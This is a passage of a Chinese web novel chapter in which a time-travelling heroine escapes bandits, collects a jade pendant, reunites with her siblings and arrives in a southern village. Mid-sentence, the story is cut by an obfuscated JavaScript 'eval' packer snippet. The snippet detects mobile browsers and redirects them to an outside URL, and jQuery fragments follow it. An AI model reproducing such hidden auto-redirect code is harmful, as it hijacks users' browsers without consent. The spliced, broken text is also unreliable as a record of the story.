不过林昭穗现在是忧心忡忡的,她很担心林文渊的伤势。


    她当时被山匪缠住了,无法分心,自然没有看到那山匪结结实实的一闷棍。


    只见到林文渊突然栽倒,心中担忧,希望大哥和娘能带着爹先去医治。


    林昭穗现在很疲倦,身上全是伤,擦伤、淤青,有的还出血了。


    苏柳见到林昭穗疲惫的神色,立即道:“你先休息,我来守夜,等天亮再走。”


    两人都是路痴,若是在黑暗的密林中找路,说不准找半天回到土匪窝里,那不就是自寻死路。


    林昭穗也没推辞,直接闭上眼睛,放任自己的身体瘫软下来。


    ……


    萧律瑾被几名大汉架起,朝一个方向走去。


    他不明白,他们已经跑得很远了,为何还会被捉住。


    他拼命挣扎:“放开我!你们知道我是谁吗?”


    两个山匪没有说话,面色平静。


    一旁的王老实则是战战兢兢的,看着山匪的目光充满忌惮和猜疑。


    他们好像认识萧律瑾,抓他的时候连旁边的王老实和他妻子都不在意,随意丢在牢房中。


    王老实面沉如水,难道他要困死在这里面吗?


    他的妻子不耐,捶打着墙壁说:“王老实,你快想想办法啊!”


    王老实搂着妻子,细心安抚,可眉头紧锁。


    “小慧,那些土匪,甚至能生擒你与我,不是简单之辈。”


    二人能安然从府城逃出,武功定然不差,毕竟就连太子的护卫都折了好几位才逃出。


    小慧定了定神,双眼凌厉不似农家女,“看来,我只能使用那招,才能逃出此地。”


    “我们还有办法的。”王老实摇了摇头。


    另一边,萧律瑾被押送到一处僻静的密室,一人已经站在那里等候。


    他见到萧律瑾被送来,露出一抹笑容。


    “把他身上的东西搜出来。”此人正是儒雅男子,山匪的军师。


    另一名光头汉子从密室外面踏入,双眼如鹰隼直直盯着萧律瑾。


    萧律瑾的嘴里被塞了不明的布料,气味腥臭无比,想吐又吐不出。


    边上一名山匪在萧律瑾的身上不断摸索,却一无所获。


    “二当家,他身上什么都没有。”


    儒雅男子的微笑顿时消失,“怎么可能!”


    随即亲自上前。


    萧律瑾的打扮标识性物件都被林昭穗拿走,仅剩贴身衣物,外穿的还是王老实给他的,他当时还嫌弃得不行。


    最后儒雅男子摸到一件顺滑的布料,那是一件贴身的软布小袴,素色细棉,此时还沾满了萧律瑾因惊吓而产生的一小点淡黄液体。


    儒雅男子有些嫌弃地拿起,看到角落绣着象征太子的图案,皱眉:“你怎么就剩这点证明身份的物件了。”


    光头道:“你看他那副狼狈模样,就知道身上不剩什么了,都被抢完了。这么个东西,能证明身份吗?”


    儒雅男子像是被提点了,他撤下萧律瑾口中的布料,问:“谁抢了你的物件?”


    萧律瑾恼怒不堪,想啐口痰却不敢,别过头不答。


    光头好言劝:“你顺从些,我们便待你好些,之后送你回京。”


    这话让萧律瑾有几分动容,“凭什么相信你们?”


    儒雅男子看到萧律瑾那种憎恨的眼神,知道他一旦回去,便不会善罢甘休,他们都会遭殃。


    可,若是他们的筹码足够萧律瑾心动呢?


    “实话告诉你吧,我们是二皇子散养的兵,虽然不怎么重视,但依旧是一群死士,他们现在暂时听命于我们两个人,若是你愿意,我们可以反水……”


    萧律瑾眼睛越听越亮。


    儒雅男子让山匪放开萧律瑾,并提供了一张椅子坐下。


    “现在可以说说,你的身份物件去哪了吗?”


    萧律瑾有几分怀疑,可想到林昭穗可恨的脸蛋,便说:“被一个小姑娘抢去了!”


    光头本想笑萧律瑾被小姑娘欺负,可一想到计划,顿时绷着脸。


    “什么样的小姑娘?”


    萧律瑾形容了一番林昭穗,并道:“另一个眼睛大大亮亮的姑娘你见到了吗?”


    儒雅男子点头,“她跟着你说的姑娘跑了。”


    “你们把她找到带过来,”萧律瑾道,想了想,又说,“她身上也有我的玉佩。”


    ……


    被别人念叨的林昭穗和苏柳藏在一处。


    林昭穗休息片刻,便让苏柳去休息,她来守夜。


    苏柳乖乖靠在树干上,腰间的玉佩忽然吸引了林昭穗的视线。


    那块玉佩和苏珩给林昭穗的有细微的不同。


    看得林昭穗心痒痒。


    她已经有全套萧律瑾的物件,什么玉扳指啊,玉牌,玉镯什么的,若是这玉佩也拿到,岂不是收集了一整套?


    林昭穗自认为有一小些收集癖,不严重,只是前世没有末世的时候,盲盒需要集齐全部款式,手机壳不同颜色也要买全而已。


    还有那些不同属性的丧尸晶核,颜色不一样,等级不一样,林昭穗也会莫名想要全部各一种。


    等苏柳醒后,林昭穗就询问起能否用东西交换玉佩。


    苏柳没在意,直接递给林昭穗,还用期待的目光看着她。


    林昭穗有些尴尬地摸了摸头,从空间里翻找了下,找半天,有些东西不舍得拿出,因为和其他是一套的。


    找半天,翻出一支银簪,上面是机器雕刻的竹子花纹,还有几片立体的竹叶,乍一看就是一小节银色的竹子,还坠着闪闪发亮的珍珠,走起路来一晃一晃的。


    她把那支簪子递给苏柳,“给你。”


    苏柳见过很多漂亮的簪子,这支很普通,可她却觉得异常好看。


    她笑了笑,用簪子挽了个发型,青丝垂落,在月光下仿佛一位下凡的仙女,身上沾着的血迹显得她有几分妖魅。


    林昭穗专心收拾自己的空间,整整齐齐后,把萧律瑾的玉佩摆在之前的物品边上,十分满意。


    东方既白,林昭穗立即找了个方向,往林子外跑。


    不知走了多久,来到一条小道上,上面有经常踩踏的痕迹。


    顺着小道走,步入一个小村庄。


    村子里的村民此时还在梦乡中,没有察觉外人闯入。


    村庄环境和林家村截然不同,布局,房屋风格。


    让林昭穗意识到,他们已经来到了南方,不用再被饥荒困扰。


    她们在村子里转了一圈,试图找到其他林家人的踪迹。


    “二姐!”一声清脆的喊声从林子里传来,接着就是几人匆忙的脚步。


    抬眼看去,是林昭菀。


    有陆八和司九护着,所以林昭菀和林景韶安安全全地逃出,身上除了一些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248546|196205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灰连伤口都没有。


    林昭穗顿时眉开眼笑,朝着弟弟妹妹走去。


    “太感谢你们了!”


    苏珩摆了摆手:“我们在附近找了一圈,没看到其他人的踪迹,后面发现你们的脚印,便追了过来。”


    途中他们还帮忙掩盖痕迹,以免山匪追来。


    看他们那些不死不休的架势,恐怕不会善罢甘休。


    “姐,爹娘大哥,还有大伯一家呢?”林昭菀看了看,没看到其他人,便问道。


    林昭穗平复了心绪,说:“大哥和爹娘在一起呢,不知道有没有跑出来……大伯一家,我不知道……”


    林景韶安慰林昭穗,说:“二姐,别担心,大哥认路很厉害的,他武功这么强,肯定能带着爹娘找到我们。”


    他们没有再提大伯,恐怕凶多吉少。


    只是几人重逢的喜悦,还是在对家人的担忧中消散。


    苏珩道:“林姑娘,你的弟妹年幼,我们先去到临江府安定下来吧,之后我会派人继续寻找伯父伯母的踪迹。”


    林昭穗点头,只好如此,他们先安定下来,苏珩肯定会帮忙落户,再慢慢找爹娘和大伯。


    她会利用空间和现代知识好好养妹妹弟弟,等爹娘他们来见她,也不用再过苦日子。


    ……


    临江府的清江县,一处小小的村落内。


    村口传来哒哒的马蹄声。


    在村里嬉笑的小孩子顿时被吸引了注意,不约而同往村口聚过来。


    有些坐在大树下的老人也惊讶地站起身,往村口看去。


    一辆崭新的马车从村口走来,拉车的马油光水滑,昂扬着脑袋。


    小孩子纷纷围着马车惊叹。


    “车、车!?”


    “这是马车?我从来没见过啊!”


    “土包子,我大哥在城里读书,他就经常见,说是只有大户人家才有马车呢!”


    听到小孩子的议论,村里顿时像是炸开了锅。


    “老天爷,这是马车?”


    “快看看是哪家贵人来了?”


    这辆马车,正是林昭穗的马车。


    里面坐着林昭穗、林昭菀、林景韶,还有……苏柳。


    苏柳厚着脸皮赖上林昭穗,说什么都要跟着她。


    林昭穗想着多一个劳动力也好,便同意了。


    苏珩则是带着两个随从留在了府城,留给林昭穗一块腰牌,说要是想找他,就去城东一处小院。


    没错,这个村子,就是苏珩安排落户的小河村。


    此时南方并不清楚北方的灾情,官府管控严密,所以林昭穗几个无缘无故想要落户,只能找了个偏僻点的村子。


    林昭穗此时驾车,朝着小孩问:“村长家在哪?”


    小孩吸溜着手指,有些胆怯,但看着林昭穗笑吟吟的脸,又觉得这个姐姐好看,便说:“村长家在那边,就大树边上。”


    林昭穗从袖子里变出一颗糖,递给小孩,道:“谢谢你,请你吃糖。”


    小孩顿时瞪大了眼睛,不敢置信地指了指自己,才小心拿过了糖。


    塞到嘴里,一股清甜涌上来,是他从未尝过的美味。


    “小石头,糖是啥滋味啊,早知道我就抢先站在这里了!”边上的小孩有些羡慕。


    其余的小孩眼巴巴看着林昭穗,希望她再问些问题。


    可林昭穗没有再问,直接驾车离去。